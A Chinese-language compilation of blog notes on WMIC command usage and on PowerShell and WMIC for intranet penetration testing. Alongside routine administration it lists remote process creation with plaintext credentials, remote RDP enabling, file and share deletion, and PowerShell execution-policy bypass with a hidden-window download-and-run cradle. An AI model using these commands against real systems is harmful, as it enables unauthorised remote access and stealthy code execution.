
    查看系统启动选项,boot的内容
    wmic COMPUTERSYSTEM get SystemStartupOptions
    查看工作组/域
    wmic computersystem get domain
    更改计算机名abc为123
    wmic computersystem where "name='abc'" call rename 123
    更改工作组google为MyGroup
    wmic computersystem where "name='google'" call joindomainorworkgroup "","","MyGroup",1

    9.CPU - CPU 管理

    查看cpu型号
    wmic cpu get name

    10.DATAFILE - DataFile 管理

    查找e盘下test目录(不包括子目录)下的cc.cmd文件
    wmic datafile where "drive='e:' and path='\\test\\' and FileName='cc' and Extension='cmd'" list
    查找e盘下所有目录和子目录下的cc.cmd文件,且文件大小大于1K
    wmic datafile where "drive='e:' and FileName='cc' and Extension='cmd' and FileSize>'1000'" list
    删除e盘下文件大小大于10M的.cmd文件
    wmic datafile where "drive='e:' and Extension='cmd' and FileSize>'10000000'" call delete
    删除e盘下test目录(不包括子目录)下的非.cmd文件
    wmic datafile where "drive='e:' and Extension<>'cmd' and path='test'" call delete
    复制e盘下test目录(不包括子目录)下的cc.cmd文件到e:,并改名为aa.bat
    wmic datafile where "drive='e:' and path='\\test\\' and FileName='cc' and Extension='cmd'" call copy "e:\aa.bat"
    改名c:\hello.txt为c:\test.txt
    wmic datafile "c:\\hello.txt" call rename c:\test.txt
    查找h盘下目录含有test,文件名含有perl,后缀为txt的文件
    wmic datafile where "drive='h:' and extension='txt' and path like '%\\test\\%' and filename like '%perl%'" get name

    11.DESKTOPMONITOR - 监视器管理

    获取屏幕分辨率
    wmic DESKTOPMONITOR where Status='ok' get ScreenHeight,ScreenWidth

    DISKDRIVE - 物理磁盘驱动器管理

    获取物理磁盘型号大小等
    wmic DISKDRIVE get Caption,size,InterfaceType

    12.ENVIRONMENT - 系统环境设置管理

    获取temp环境变量
    wmic ENVIRONMENT where "name='temp'" get UserName,VariableValue
    更改path环境变量值,新增e:\tools
    wmic ENVIRONMENT where "name='path' and username='<system>'" set VariableValue="%path%;e:\tools"
    新增系统环境变量home,值为%HOMEDRIVE%%HOMEPATH%
    wmic ENVIRONMENT create name="home",username="<system>",VariableValue="%HOMEDRIVE%%HOMEPATH%"
    删除home环境变量
    wmic ENVIRONMENT where "name='home'" delete

    13.FSDIR - 文件目录系统项目管理

    查找e盘下名为test的目录
    wmic FSDIR where "drive='e:' and filename='test'" list
    删除e:\test目录下除过目录abc的所有目录
    wmic FSDIR where "drive='e:' and path='\\test\\' and filename<>'abc'" call delete
    删除c:\good文件夹
    wmic fsdir "c:\\good" call delete
    重命名c:\good文件夹为abb
    wmic fsdir "c:\\good" rename "c:\abb"

    14.LOGICALDISK - 本地储存设备管理

    获取硬盘系统格式、总大小、可用空间等
    wmic LOGICALDISK get name,Description,filesystem,size,freespace

    15.NIC - 网络界面控制器 (NIC) 管理

    16.OS - 已安装的操作系统管理

    设置系统时间
    wmic os where(primary=1) call setdatetime 20070731144642.555555+480

    17.PAGEFILESET - 页面文件设置管理

    更改当前页面文件初始大小和最大值
    wmic PAGEFILESET set InitialSize="512",MaximumSize="512"
    页面文件设置到d:\下,执行下面两条命令
    wmic pagefileset create name='d:\pagefile.sys',initialsize=512,maximumsize=1024
    wmic pagefileset where"name='c:\\pagefile.sys'" delete

    18.PROCESS - 进程管理

    列出进程的核心信息,类似任务管理器
    wmic process list brief
    结束svchost.exe进程,路径为非C:\WINDOWS\system32\svchost.exe
    wmic process where "name='svchost.exe' and ExecutablePath<>'C:\\WINDOWS\\system32\\svchost.exe'" call Terminate
    新建notepad进程
    wmic process call create notepad

    19.PRODUCT - 安装包任务管理

    安装包在C:\WINDOWS\Installer目录下
    卸载.msi安装包
    wmic PRODUCT where "name='Microsoft .NET Framework 1.1' and Version='1.1.4322'" call Uninstall
    修复.msi安装包
    wmic PRODUCT where "name='Microsoft .NET Framework 1.1' and Version='1.1.4322'" call Reinstall

    20.SERVICE - 服务程序管理

    运行spooler服务
    wmic SERVICE where name="Spooler" call startservice
    停止spooler服务
    wmic SERVICE where name="Spooler" call stopservice
    暂停spooler服务
    wmic SERVICE where name="Spooler" call PauseService
    更改spooler服务启动类型[auto|Disabled|Manual] 释[自动|禁用|手动]
    wmic SERVICE where name="Spooler" set StartMode="auto"
    删除服务
    wmic SERVICE where name="test123" call delete

    21.SHARE - 共享资源管理

    删除共享
    wmic SHARE where name="e$" call delete
    添加共享
    WMIC SHARE CALL Create "","test","3","TestShareName","","c:\test",0

    22.SOUNDDEV - 声音设备管理

    wmic SOUNDDEV list

    STARTUP - 用户登录到计算机系统时自动运行命令的管理
    查看msconfig中的启动选项
    wmic STARTUP list

    23.SYSDRIVER - 基本服务的系统驱动程序管理

    wmic SYSDRIVER list

    24.USERACCOUNT - 用户帐户管理

    更改用户administrator全名为admin
    wmic USERACCOUNT where name="Administrator" set FullName="admin"
    更改用户名admin为admin00
    wmic useraccount where "name='admin" call Rename admin00

    25.获取补丁信息

    查看当前系统打了哪些补丁
    /node:legacyhost qfe get hotfixid

    26.查看CPU当前的速度

    cpu当前的速度
    wmic cpu get CurrentClockSpeed

    27.远程计算机的远程桌面连接

    WMIC命令开启远程计算机的远程桌面连接
    执行wmic /node:192.168.1.2 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
    具体格式:

    wmic /node:"[full machine name]" /USER:"[domain]\[username]"
    PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
    

    实例summary

    wmic 获取进程名称以及可执行路径:
    wmic process get name,executablepath

    wmic 删除指定进程(根据进程名称):
    wmic process where name="qq.exe" call terminate
    或者用
    wmic process where name="qq.exe" delete

    wmic 删除指定进程(根据进程PID):
    wmic process where pid="123" delete

    wmic 创建新进程
    wmic process call create "C:\Program Files\Tencent\QQ\QQ.exe"

    在远程机器上创建新进程:
    wmic /node:192.168.201.131 /user:administrator /password:123456 process call create cmd.exe

    关闭本地计算机
    wmic process call create shutdown.exe

    重启远程计算机
    wmic /node:192.168.1.10/user:administrator /password:123456 process call create "shutdown.exe -r -f -m"

    更改计算机名称
    wmic computersystem where "caption='%ComputerName%'" call rename newcomputername

    更改帐户名
    wmic USERACCOUNT where "name='%UserName%'" call rename newUserName

    wmic 结束可疑进程(根据进程的启动路径)

    wmic process where "name='explorer.exe' and executablepath<>'%SystemDrive%\\windows\\explorer.exe'" delete

    wmic 获取物理内存
    wmic memlogical get TotalPhysicalMemory|find /i /v "t"

    wmic 获取文件的创建、访问、修改时间

    @echo off
    for /f "skip=1 tokens=1,3,5 delims=. " %%a in ('wmic datafile where name^="c:\\windows\\system32\\notepad.exe" get CreationDate^,LastAccessed^,LastModified') do (
    set a=%%a
    set b=%%b
    set c=%%c
    echo 文件: c:\windows\system32\notepad.exe
    echo.
    echo 创建时间: %a:~0,4% 年 %a:~4,2% 月 %a:~6,2% 日 %a:~8,2% 时 %a:~10,2% 分 %a:~12,2% 秒
    echo 最后访问: %b:~0,4% 年 %b:~4,2% 月 %b:~6,2% 日 %b:~8,2% 时 %b:~10,2% 分 %b:~12,2% 秒
    echo 最后修改: %c:~0,4% 年 %c:~4,2% 月 %c:~6,2% 日 %c:~8,2% 时 %c:~10,2% 分 %c:~12,2% 秒
    )
    echo.
    pause
    

    wmic 全盘搜索某文件并获取该文件所在目录
    for /f "skip=1 tokens=1*" %i in ('wmic datafile where "FileName='qq' and extension='exe'" get drive^,path') do (set "qPath=%i%j"&@echo %qPath:~0,-3%)

    获取屏幕分辨率 wmic DESKTOPMONITOR where Status='ok' get ScreenHeight,ScreenWidth

    wmic PageFileSet set InitialSize="512",MaximumSize="512"

    设置虚拟内存到E盘,并删除C盘下的页面文件,重启计算机后生效

    wmic PageFileSet create name="E:\\pagefile.sys",InitialSize="1024",MaximumSize="1024"
    wmic PageFileSet where "name='C:\\pagefile.sys'" delete
    

    获得进程当前占用的内存和最大占用内存的大小:

    wmic process where caption='filename.exe' get WorkingSetSize,PeakWorkingSetSize

    以KB为单位显示

    @echo off
    for /f "skip=1 tokens=1-2 delims= " %%a in ('wmic process where caption^="conime.exe" get WorkingSetSize^,PeakWorkingSetSize') do (
    set /a m=%%a/1024
    set /a mm=%%b/1024
    echo 进程conime.exe现在占用内存:%m%K;最高占用内存:%mm%K
    )
    pause
    

    远程打开计算机远程桌面

    wmic /node:%pcname% /USER:%pcaccount% PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

    WMIC学习小结

    在WINDOWS\Help目下,wmic.chm文档是这样解释wmi的:Windows Management Instrumentation (WMI) 是“基于 Web 的企业管理倡议 (WBEM)”(这是一个旨在建立在企业网络上访问和共享管理信息的标准的工业倡议)的 Microsoft 的实现。有关 WBEM 的详细信息,请访问 WBEM。XOXWMI 为公用信息模型 (CIM)(该数据模型描述存在于管理环境中的对象)提供完整的支持。WMI 包括对象储备库和 CIM 对象管理器,其中对象储备库是包含对象定义的数据库,对象管理器负责处理储备库中对象的收集和操作并从 WMI 提供程序 (WMI provider) 收集信息。WMI 提供程序 (WMI provider) 在 WMI 和操作系统、应用程序以及其他系统的组件之间充当中介。例如,注册表提供程序从注册表中提供信息,而 SNMP 提供程序则从 SNMP 设备中提供数据和事件。提供程序提供关于其组件的信息,也可能提供一些方法,这些方法可以操作可设置的组件、属性,或者操作可能警告您在组件中要发生更改的事件。Windows Management Instrumentation 命令行 (WMIC) 向您提供了简单的 Windows Management Instrumentation (WMI) 命令行界面,这样即可利用 WMI 来管理运行 Windows 的计算机。WMIC 与现有命令行程序和实用程序命令相互操作,且很容易通过脚本或其他面向管理的应用程序来扩展 WMIC。

    以上的这些说法太专业了,通俗一点讲就是wmic.exe是一个命令行程序,可以用它这个接口来实现在命令行下直接管理计算机软硬件等方方面面的操作,相当于批处理的api了。

    参考文献

    1. Windows WMIC命令使用详解(附实例)
    2. 比CMD更强大的命令行:WMIC后渗透利用(系统命令)
    3. wmic
    展开全文
  • wmicGet 是调用 Windows 管理规范命令行 (WMIC) 的包装函数。 wmicGet 还可以使用 WQL 语法的“where”子句来执行更高级的查询。 例子: infos = wmicGet('cpu'); infos = wmicGet('win32_logicaldisk', {'...
  • WMIC_Queries.pdf

    2020-03-28 10:49:54
    wmic 常用命令 案例, 以案例来学习wmi WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了从命令行接口和批命令脚本执行系统管理的支持
  • wmic.c C语言实现WMI

    2020-09-16 11:06:14
    wmic.c C语言实现WMI
  • WMIC调用工具

    2018-05-03 09:32:19
    WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了从命令行接口和批命令脚本执行系统管理的支持。
  • wmic_HOWTO

    2021-03-31 15:10:38
    WMIC小抄 有用的例子 对于交互模式只运行wmic从那里用“跳槽”或“退出”再次终止。 结识系统 wmic bios get Manufacturer,Name,Version # System details wmic diskdrive get model,name,freespace,size # ...
  • WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了从命令行接口和批命令脚本执行系统管理的支持。非常好用命令,这个脚本用于修复wmic不能使用的问题
  • WMIC-Java 可以执行 WMIC 和命令行参数。 需要适当的 GUI 和需要管理员权限的工作命令。 由一个主方法和来自 3 个不同接口的覆盖方法组成,一个用于 WMIC 命令,一个用于常规 cmd 命令,另一个用于需要管理员权限的...
  • 资源介绍:。易语言wmic取硬件信息模块源码例程程序结合易语言正则表达式支持库,调用API函数实现取硬件信息。资源作者:。资源界面:。资源下载:。
  • 易语言wmic取硬件信息模块源码例程程序结合易语言正则表达式支持库,调用API函数实现取硬件信息。 三叶资源网
  • 易语言wmic取硬件信息模块源码,wmic取硬件信息模块,子_运行WMIC命令,模块_获取CPU型号,模块_获取显卡型号,模块_获取显卡驱动版本,模块_获取声卡型号,模块_获取内存大小,模块_获取主板型号,模块_获取主板品牌,模块_...
  • wmic取硬件信息模块.rar wmic取硬件信息模块.rar wmic取硬件信息模块.rar wmic取硬件信息模块.rar wmic取硬件信息模块.rar wmic取硬件信息模块.rar
  • 最好用最使用的wmic学习和测试工具,全面学习掌握wmic编程
  • Wmic

    2019-10-09 00:56:56
    WMIC(Windows Management InstrumentationCommand Line) windows除了cmd ,powershell以外另一个更为强大的命令执行shell: windows最令网管诟病的地方就是命令行没有unix和linux强大。但这种情况正在不断改观...

    WMIC(Windows Management InstrumentationCommand Line)

     

    windows除了cmd ,powershell以外另一个更为强大的命令执行shell:

    windows最令网管诟病的地方就是命令行没有unix和linux强大。但这种情况正在不断改观,windows命令行也越来越强大了。其中,微软耗费大量精力打造的wmi就是一例。

     

    运行wmic的先决条件:
    a. 启动Windows Management Instrumentation服务,开放TCP135端口。

    b. 本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”。

     

     

    运行方式

    1、cmd中直接输入wmic打头的命令

    wmic os get name

     

     

    2、从开始里启动wmic,然后在wmic里输入  cpu get name 

     

     

     

     

    Microsoft Windows Management Instrumentation (WMI)。中文名字叫Windows管理规范。从Windows 2000开始,WMI(Windows 管理规范)就内置于操作系统中,并且成为了Windows系统管理的重要组成部分。


    WMI能做什么?
    WMI不仅可以获取想要的计算机数据,而且还可以用于远程控制。远程控制计算机可是大家都喜欢的东西。很多远程监视控制类软件通常的做法是:在远程计算机上运行服务端后台程序,在本地计算机上运行一个客户器端控制程序,通过这二个程序的勾结来实现对计算机的远程控制。这种作法的缺点是十分明显的,当服务端程序关了,这种远程监控就无法实现了,因为没有内线了。而WMI实现的远程监视和控制完全不需要另外装什么服务端的东西,系统默认就将WMI服务给开了。具体说来,WMI的本领如下:
    1.获取本地和远程计算机的硬件软件信息。
    2.监视本地和远程计算机的软件和服务等运行状况。
    3.控制本地和远程计算机的软件和服务运行。
    4.高级应用。

    如何访问WMI?
    当我们知道WMI的某些本领后,我们已经很想知道如何认识他并利用他了。利用WMI有许多途径,简单说来有三种了:
    1.通过微软给我们提供的各种工具来实现普通查询和操作。主要包括命令提示符下面的WMIC,还有就是微软给我们提供的WMI TOOL,大家可以到微软的网站上免费下载,当然我也可以给大家免费提供。
    2.通过自己编写脚本来实现更灵活操作。要想真正灵活实用,对WSH脚本的熟悉是必须的,当然如果你不熟悉也没有关系,稍后我会给大家详细解释的。
    3. 通过编写我们自己的程序来访问并操作它。什么语言都行。如果用.NET类程序要简单些了,如果用VC等要复杂些了,起码我是这么认为的。
    4.还有个访问它的方法,就是到它的一个巢穴。在C:\WINDOWS\system32\wbem目录中的东西都和它有密切联系,有日志和各种工具,在里面你可以找到很多答案的。不过这些东西一般都不适合我们新手玩了,感觉有点吓人。

     

    WMIC是Windows Management Instrumentation Commandline的简称,WMIC扩展WMI,提供了从命令行接口和批命令脚本执行系统管理的支持。为WMI名称空间提供了一个强大的、友好的命令行接口。有了WMIC,WMI就显的平易近人了。

     

     

    wmic 获取进程名称以及可执行路径:
    wmic process get name,executablepath

    wmic 删除指定进程(根据进程名称):
    wmic process where name="qq.exe" call terminate
    或者用
    wmic process where name="qq.exe" delete

    wmic 删除指定进程(根据进程PID):
    wmic process where pid="123" delete

    wmic 创建新进程
    wmic process call create "C:\Program Files\Tencent\QQ\QQ.exe"

    在远程机器上创建新进程:
    wmic /node:192.168.1.10 /user:administrator /password:123456 process call create cmd.exe

    关闭本地计算机
    wmic process call create shutdown.exe

    重启远程计算机
    wmic /node:192.168.1.10/user:administrator /password:123456 process call create "shutdown.exe -r -f -m"

    更改计算机名称
    wmic computersystem where "caption='%ComputerName%'" call rename newcomputername

    更改帐户名
    wmic USERACCOUNT where "name='%UserName%'" call rename newUserName

    wmic 结束可疑进程(根据进程的启动路径)

    wmic process where "name='explorer.exe' and executablepath<>'%SystemDrive%\\windows\\explorer.exe'" delete

    wmic 获取物理内存
    wmic memlogical get TotalPhysicalMemory|find /i /v "t"

     

    获得系统版本信息
    wmic datafile where Name='c:\\windows\\explorer.exe' get Manufacturer,Version,Filename

    获得系统进程
    wmic process list full 注意:
    这里的full也可以换成brief(简洁)

    获得硬件信息(这里以cpu为例)
    wmic cpu get name,caption,maxclockspeed,description

    将结果输出到d盘的1.txt里面
    wmic /output:D:\1.txt cpu get name

    wmic 获取硬盘固定分区盘符:
    wmic logicaldisk where "drivetype=3" get name

    wmic 获取硬盘各分区文件系统以及可用空间:
    wmic logicaldisk where "drivetype=3" get name,filesystem,freespace

    wmic 获取进程名称以及可执行路径:
    wmic process get name,executablepath

    wmic 删除指定进程(根据进程名称):
    wmic process where name="qq.exe" call terminate
    或者用
    wmic process where name="qq.exe" delete

    wmic 删除指定进程(根据进程PID):
    wmic process where pid="123" delete

    wmic 创建新进程
    wmic process call create "C:\Program Files\Tencent\QQ\QQ.exe"

    在远程机器上创建新进程:
    wmic /node:192.168.1.10 /user:administrator /password:123456 process call create cmd.exe

    关闭本地计算机
    wmic process call create shutdown.exe

    重启远程计算机
    wmic /node:192.168.1.10/user:administrator /password:123456 process call create "shutdown.exe -r -f -m"

    更改计算机名称
    wmic computersystem where "caption='%ComputerName%'" call rename newcomputername

    更改帐户名
    wmic USERACCOUNT where "name='%UserName%'" call rename newUserName

    wmic 结束可疑进程(根据进程的启动路径)
    wmic process where "name='explorer.exe' and executablepath<>'%SystemDrive%\\windows\\explorer.exe'" delete

    wmic 获取物理内存
    wmic memlogical get TotalPhysicalMemory|find /i /v "t"

    wmic 获取文件的创建、访问、修改时间
    @echo off
    'wmic datafile where name^="c:\\windows\\system32\\notepad.exe" get CreationDate^,LastAccessed^,LastModified

    wmic 全盘搜索某文件并获取该文件所在目录
    wmic datafile where "FileName='qq' and extension='exe'" get drive,path
    for /f "skip=1 tokens=1*" %i in ('wmic datafile where "FileName='qq' and extension='exe'" get drive^,path') do (set "qPath=%i%j" &@echo %qPath:~0,-3%)

    获取屏幕分辨率
    wmic DESKTOPMONITOR where Status='ok' get ScreenHeight,ScreenWidth

    获取共享资源(包括隐藏共享)
    WMIC share list brief

    获取U盘盘符,并运行U盘上的QQ.exe
    @for /f "skip=1 tokens=*" %i in ('wmic logicaldisk where "drivetype=2" get name') do (if not "%i"=="" start d:\qq.exe)

    获得进程当前占用的内存和最大占用内存的大小:
    wmic process where caption='filename.exe' get WorkingSetSize,PeakWorkingSetSize

    更改现有工作组为指定的工作组
    wmic computersystem Where "name='计算机名称' call UnjoinDomainOrWorkgroup

    退出所在域
    wmic computersystem Where "name='计算机名称'" call joindomainorworkgroup "",1,"域名称","域管理员密码","域管理员用户名"

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    开2003的3389
    wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call
    SetAllowTSConnections 1

    远程打开计算机远程桌面
    wmic /node:%pcname% /USER:%pcaccount% PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

    添加的计划任务,wmic添加的同样AT命令也是可以看到
    wmic job call create "sol.exe",0,0,true,false,********154800.000000+480
    wmic job call create "sol.exe",0,0,1,0,********154600.000000+480
    这两句是相同的,TRUE可以用1表示,同样的FALSE可以用0值表示,时间前为何用八个星号,这是WMIC的特性,他显示时间的方式是YYYYMMDDHHMMSS.MMMMMM+时区 ,可是,我们并不需要指定年份和月份还有天,所以用*星号来替代

    在wmic下查看BIOS信息
    wmic bios list full

    wmic还有停止、暂停和运行服务的功能:
    启动服务startservice,停止服务stopservice,暂停服务pauseservice。
    具体的命令使用格式就是:
    wmic Service where caption=”windows time” call stopservice
    ●--停止服务
    wmic Service where caption=”windows time” call startservice
    ●--启动服务
    wmic Service where name=”w32time” call stopservice
    ●--停止服务,注意name和caption的区别。


    远程创建进程
    wmic
    /node:109.254.2.102 /user:"rdgad\administrator" /password:"1234"
    process call create commandline="cmd.exe /k echo xxxxx|clip.exe"

     

    转载于:https://www.cnblogs.com/code1992/p/11498001.html

    展开全文
  • 易语言源码易语言wmic取硬件信息模块源码.rar
  • 该文档详细记录了Windows Management InstrumentationCommand Line(Windows管理工具命令行)的基本使用,这对渗透测试进内网进行横向移动有很大帮助。
  • wmicGetHardwareInfos 查询有关计算机硬件(OS、CPU、GPU、RAM、磁盘)的信息它在命令窗口或文本文件中显示结果。 wmicGetHardwareInfos 需要 wmicGet(在文件交换中提交 #47858)。
  • 第八十课:基于白名单Wmic执行payload第十季.docx
  • 文章目录引子PowerShell0x001基本概念0x002命令格式0x003基本使用0x004常用命令0x005powershell脚本0x006参考文章WMIC0x001基本概念0x002命令格式0x003常用命令1、目标系统相关2、用户管理0x004参考文章 引子 之前...

    引子

    之前在内网渗透,免杀中到处能看到powershell和wmic的身影,功能还是非常强大的,但一直没有系统的学习过他们,对他们还是一知半解,现在有空了系统的学习下并记录学习笔记。

    PowerShell

    0x001基本概念

    Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。内置在Windows版本中,可以看成是cmd命令的扩充,所包含的命令兼容cmd。

    0x002命令格式

    在powershell下,类似cmd命令叫做cmdlet(command-let)。
    cmdlet是本机PowerShell命令,而不是独立的可执行文件。cmdlet收集在 PowerShell模块中,可按需加载。可以用任何编译的.NET 语言或PowerShell 脚本语言本身来编写cmdlet。
    cmdlet命名比较规范都采用”动词-名词“的形式。
    动词标识cmdlet执行的操作,名词标识该cmdlet执行其操作的所在资源。
    动词一般为Add、New、Get、Remove、Set、Clear等,名词一般都是动词作用的资源。

    0x003基本使用

    get-help来查看帮助。
    在这里插入图片描述
    get-command查看powershell支持的命令,有很多的命令,这里只截取一部分。

    CommandTypeNameDefinition
    表示命令类型,Alias是别名、Cmdlet是powershell格式的命令、Function是函数具体的命令命令功能的简单描述。

    ![(https://img-blog.csdnimg.cn/944b4cec34114fc3b4852c2d48b3d9aa.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAMWFuY2Uu,size_20,color_FFFFFF,t_70,g_se,x_16)
    在这里插入图片描述
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dtcDGoXt-1637676090953)(内网渗透-powershell-wmic详解/image-20211121182704990.png)]

    0x004常用命令

    命令不缺分大小写且支持tab补全。

    • 文件目录操作
    new-item 123 -itemtype Directory           #新建123目录
    new-item 123.txt -itemtype file			  #新建123.txt文件
    set-content 123.txt -value "Hello,word!"   #设置123.txt文件内容
    get-content 123.txt                        #显示123.txt文件内容
    add-content 123.txt -value "LOVE"          #追加内容
    clear-content 123.txt                      #清除文件内容
    remove-item 123.txt                        #删除123.txt文件
    remove-item 123                            #删除123目录
    get-childitem                              #显示当前路径下的文件和目录
    

    在这里插入图片描述

    • Get类
    Get-Command  #得到所有PowerShell命令,获取有关 cmdlet 以及有关 Windows PowerShell 命令的其他元素的基本信息。              #包括Cmdlet、Alias、Function。
    Get-Process  #获取所有进程
    Get-Help     #显示有关 Windows PowerShell 命令和概念的信息
    Get-History  #获取在当前会话中输入的命令的列表
    Get-Job      #获取在当前会话中运行的 Windows PowerShell 后台作业
    Get-FormatData #获取当前会话中的格式数据
    Get-Event     #获取事件队列中的事件
    Get-Alias     #获取当前会话的别名
    Get-Culture   #获取操作系统中设置的当前区域性
    Get-Date    #获取当前日期和时间
    Get-Host    #获取表示当前主机程序的对象
    Get-Member  #获取对象的属性和方法。
    如:$var = 3
    $var | get-member
    
    Get-Random     #从集合中获取随机数或随机选择对象
    Get-UICulture  #获取操作系统中当前用户界面 (UI) 区域性设置
    Get-Unique     #从排序列表返回唯一项目
    Get-Variable   #获取当前控制台中的变量
    Get-EventLog   #获取本地或远程计算机上的事件日志或事件日志列表中的事件
    Get-ChildItem  #获取一个或多个指定位置中的项和子项
    Get-Content    #获取指定位置的项的内容
    Get-ItemProperty #获取指定项的属性
    Get-WmiObject   #获取 Windows Management Instrumentation (WMI) 类的实例或可用类的相关信息
    Get-Location    #获取当前工作位置的相关信息(如:F:\Users\TaoMin )
    Get-PSDrive     #获取当前会话中的 Windows PowerShell 驱动器
    Get-Item        #获取位于指定位置的项
    Get-Service     #获取本地或远程计算机上的服务
    Get-Transaction #获取当前(活动)事务
    Get-ExecutionPolicy#获取当前会话中的执行策略
    
    • Set类
    Set-Alias   #在当前 Windows PowerShell 会话中为 cmdlet 或其他命令元素创建或更改别名(替代名称)
    如:Set-Alias aaa Get-Command
    Set-PSDebug      #打开和关闭脚本调试功能,设置跟踪级别并切换 strict 模式
    Set-StrictMode   #建立和强制执行表达式、脚本和脚本块中的编码规则
    Set-Date         #将计算机上的系统时间更改为指定的时间
    Set-Variable     #设置变量的值,如果该变量还不存在,则创建该变量
    Set-PSBreakpoint #在行、命令或者变量上设置断点
    Set-Location     #将当前工作位置设置为指定的位置
    Set-Item         #将项的值更改为命令中指定的值
    Set-Service      #启动、停止和挂起服务并更改服务的属性
    Set-Content      #在项中写入内容或用新内容替换其中的内容
    Set-ItemProperty #创建或更改某一项的属性值
    Set-WmiInstance  #创建或更新现有 Windows Management Instrumentation (WMI) 类的实例
    Set-ExecutionPolicy #更改 Windows PowerShell 执行策略的用户首选项。
    
    • Write类
    Write-Host      #将自定义输出内容写入主机。类似于.net的 write()或者writeline()功能
    Write-Progress  #在 Windows PowerShell 命令窗口内显示进度栏
    Write-Debug     #将调试消息写入控制台
    Write-Verbose   #将文本写入详细消息流
    Write-Warning   #写入警告消息
    Write-Error     #将对象写入错误流
    Write-Output    #将指定对象发送到管道中的下一个命令;如果该命令是管道中的最后一个命令,则在控制台上显示这些对象
    Write-EventLog  #将事件写入事件日志
    

    0x005powershell脚本

    powershell脚本其实是简单的文本文件,文件包含了一系列powershell命令,每个命令显示为独立的一行,脚本文件后缀为.ps1

    执行脚本: 为了防止恶意脚本的执行,powershell有一个执行策略,默认情况下,这个执行策略设为受限。
    Get-ExecutionPolicy获取当前会话中的执行策略
    在这里插入图片描述

    Restricted:脚本不能运行(默认设置)。
    RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
    AllSigned:仅当脚本由受信任的发布者签名时才能运行。
    Unrestricted:允许所有的script运行。
    

    可通过Set-ExecutionPolicy <policy name>修改执行策略。

    脚本编写可参考文章:https://www.jianshu.com/p/b69040c074b7

    绕过执行策略执行脚本:

    1. 绕过本地权限执行
      上传shell.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本。

      powerShell.exe -ExecutionPolicy Bypass -File shell.ps1
      
    2. 本地隐藏绕过权限执行脚本

      powerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File shell.ps1
      
    3. 用IEX下载远程PS1脚本绕过权限执行

      PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("shell.ps1");[Parameters]
      

    下面对上述命令的参数进行说明,如下所示。

    ExecutionPolicy Bypass:绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
    WindowStyle Hidden:隐藏窗口。
    NoLogo:启动不显示版权标志的PowerShell。
    Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
    NoProfile(-NoP): PowerShell控制台不加载当前用户的配置文件。
    Noexit:执行后不退出Shell。这在使用键盘记录等脚本时非常重要。
    

    0x006参考文章

    https://www.jianshu.com/p/b69040c074b7
    https://www.cnblogs.com/lsdb/p/9531338.html
    官方文档

    WMIC

    0x001基本概念

    wmi 命令行 (WMIC) 实用工具提供 Windows Management Instrumentation (WMI) 的命令行接口。 WMIC 与现有 shell 和实用工具命令兼容。 官方文档

    0x002命令格式

    包含全局开关,“动词”,函数别名即名词。命令格式和PowerShell一样也是"动词+名词+参数"。

    • 全局开关
      全局开关是可以全局设置或根据需要设置的 WMIC 选项,WMIC全局选项可以用来设置WMIC环境的各种属性,通过结合各种全局选项以及参数,我们就可以通过WMIC环境来管理整个系统了。
      名称描述
      /NAMESPACE别名在其上操作的命名空间的路径。
      /ROLE包含别名定义的角色的路径。
      /NODE别名在其上操作的服务器。
      /IMPLEVEL客户端模拟级别。
      /AUTHLEVEL客户端身份验证级别。
      /LOCALE客户端应使用的语言 ID。
      /PRIVILEGES启用或禁用所有权限。
      /TRACE将调试信息输出到 stderr。
      /RECORD记录所有输入命令和输出内容。
      /INTERACTIVE设置或重置交互模式。
      /FAILFAST设置或重置 FailFast 模式。
      /USER会话期间要使用的用户。
      /PASSWORD登录会话时要使用的密码。
      /OUTPUT指定输出重定向模式。
      /APPEND指定输出重定向模式。
      /AGGREGATE设置或重置聚合模式。
      /AUTHORITY指定连接的 <授权类型>。
      /?[:<BRIEF|FULL>]用法信息。/NAMESPACE /?:BRIEF
    • 动词
    1. ASSOC: 返回查询的结果 Associators of (<wmi_object>) ,其中 路径 命令返回的对象的路径。 结果是与对象关联的实例。 将 ASSOC 与别名一起使用时,将返回具有别名的类的类。 默认情况下,以 HTML 格式返回输出。eg:OS ASSOC
      ASSOC 谓词具有以下开关。
      开关说明
      /RESULTCLASS: < classname>与源对象关联的返回终结点必须属于或派生自指定的类。
      /RESULTROLE: <>返回的终结点必须在与源对象的关联中扮演特定角色。
      /ASSOCCLASS: < ASSOCCLASS>返回的终结点必须通过指定的类或其派生类之一与源关联。
    2. CALL: 执行方法。启动telnet服务:
      CAPTION = 'TELNET' CALL STARTSERVICE
    3. CREATE: 创建一个新的实例,并设置属性值。 CREATE 不能用于创建新类。eg: 环境变量名称 = "TEMP"; VARIABLEVALUE = "NEW"
    4. DELETE: 删除当前实例或实例集。可以使用 DELETE 来删除类。eg:NAME = "CALC.EXE" DELETE process
    5. GET: 获取特点属性的值。
      eg: PROCESS where name="lsass.exe" get processid
    6. List: 显示数据。
    • 函数别名
    当前角色中可以使用以下别名:
